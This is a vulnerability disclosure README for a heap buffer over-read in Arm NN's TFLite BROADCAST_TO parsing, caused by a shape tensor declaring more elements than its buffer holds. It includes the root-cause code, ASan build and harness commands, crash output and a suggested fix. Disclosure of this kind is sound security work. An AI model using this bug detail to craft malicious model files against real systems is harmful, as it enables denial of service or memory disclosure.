trevdatastreams/armnn-tflite-broadcastto-oob-poc
Arm NN TFLite BROADCAST_TO short-buffer heap over-read
Status: reproduced with ASan on current Arm NN; fresh prior-art gate open
Summary
Arm NN's TFLite parser trusts the declared element count of a BROADCAST_TO shape tensor but does not verify that the tensor's backing Buffer.data vector contains that many int32_t values.
A structurally valid 512-byte TFLite file can declare 1,024 shape elements while supplying four bytes. ITfLiteParser::CreateNetworkFromBinary() passes the FlatBuffers verifier, unpacks the model, and reads immediately beyond the four-byte heap allocation during model loading.
Tested with:
- Arm NN:
2b61cecc9df7a43fca1463795062cf359e6be820 - TensorFlow TFLite schema v2.19.0:
e36baa302922ea3c7131b302c2996bd2051ee5c4 - FlatBuffers v24.3.25
- Apple Clang ASan and UBSan, arm64
Root cause
ParseBroadcastTo() obtains two independent pieces of model-controlled metadata:
unsigned int numElement = shapeTensorInfo.GetNumElements();
auto shapeData =
reinterpret_cast<const int32_t*>(shapeBufferPtr->data.data());It then indexes the buffer up to the declared tensor element count:
for (unsigned int i = 0; i < numElement; ++i)
{
targetShape.push_back(
armnn::numeric_cast<unsigned int>(shapeData[i]));
}There is no check that:
shapeBufferPtr->data.size() >= numElement * sizeof(int32_t)The FlatBuffers verifier validates the Tensor.shape and Buffer.data vectors independently. The TFLite schema does not couple their lengths, so the canonical verifier accepts the proof before tflite::UnPackModel().
Source:
- <https://github.com/ARM-software/armnn/blob/2b61cecc9df7a43fca1463795062cf359e6be820/src/armnnTfLiteParser/TfLiteParser.cpp#L1947-L1977>
- <https://github.com/ARM-software/armnn/blob/2b61cecc9df7a43fca1463795062cf359e6be820/src/armnnTfLiteParser/TfLiteParser.cpp#L5517-L5533>
Reproduction result
Both artifacts are generated by TensorFlow's official v2.19.0 TFLite schema. They are the same size and differ only in the shape tensor metadata and backing payload:
Observed proof result:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
0 bytes after 4-byte region
armnnTfLiteParser::TfLiteParserImpl::ParseBroadcastTo
armnnTfLiteParser::TfLiteParserImpl::CreateNetworkFromModel
armnnTfLiteParser::TfLiteParserImpl::CreateNetworkFromBinaryThe failing read is the second loop iteration: shapeData[1], immediately after the one supplied int32_t.
PoC SHA-256: f1ebfebd3c1032aa16f5ac0cc9976095dc27c25f5fa1341c6533680936ad6b08.
Build and run
Build Arm NN with the TFLite parser and reference backend:
cmake -S /path/to/armnn -B /path/to/build \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
-DBUILD_SHARED_LIBS=ON \
-DARMNNREF=ON \
-DBUILD_TF_LITE_PARSER=ON \
-DBUILD_TESTS=OFF \
-DBUILD_UNIT_TESTS=OFF \
-DFLATBUFFERS_ROOT=/path/to/flatbuffers \
-DTENSORFLOW_ROOT=/path/to/tensorflow \
-DTF_LITE_GENERATED_PATH=/path/to/tensorflow/tensorflow/compiler/mlir/lite/schema
cmake --build /path/to/build --target armnnTfLiteParser -j6Compile the harness:
c++ -std=c++17 \
-fsanitize=address,undefined -fno-omit-frame-pointer \
-I /path/to/armnn/include \
load-tflite.cpp \
-L /path/to/build \
-larmnnTfLiteParser -larmnn \
-Wl,-rpath,/path/to/build \
-o load-tfliteRun the differential:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
./load-tflite control.tflite
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
./load-tflite poc.tfliteExpected:
loaded 512 bytesThen an ASan heap-buffer-overflow read in ParseBroadcastTo().
Suggested fix
Before interpreting the byte vector as int32_t values:
- Reject non-
INT32shape tensors. - Use checked multiplication for
numElement * sizeof(int32_t). - Reject buffers smaller than the required byte count.
- Consider rejecting trailing bytes or handling them consistently.
Add a regression test using the supplied one-value buffer with a declared two-value shape tensor. The parser must throw ParseException before reading the second element.
Novelty
Fresh exact and semantic searches on 2026-07-28 found:
- 0 matching Hugging Face repositories.
- 0 matching Arm NN GitHub issues or pull requests.
- 0 local matches before this candidate.
The closest public Arm NN TFLite disclosure is a BATCH_TO_SPACE_ND out-of-bounds write. It names a different operator, root cause, and sink. Other public Arm NN proofs cover native .armnn deserialization rather than this TFLite BROADCAST_TO buffer-length mismatch.
Gate record: ../../prior-art/armnn-tflite-broadcastto-short-shape-buffer-oob-read/20260729T020359.634Z.md.
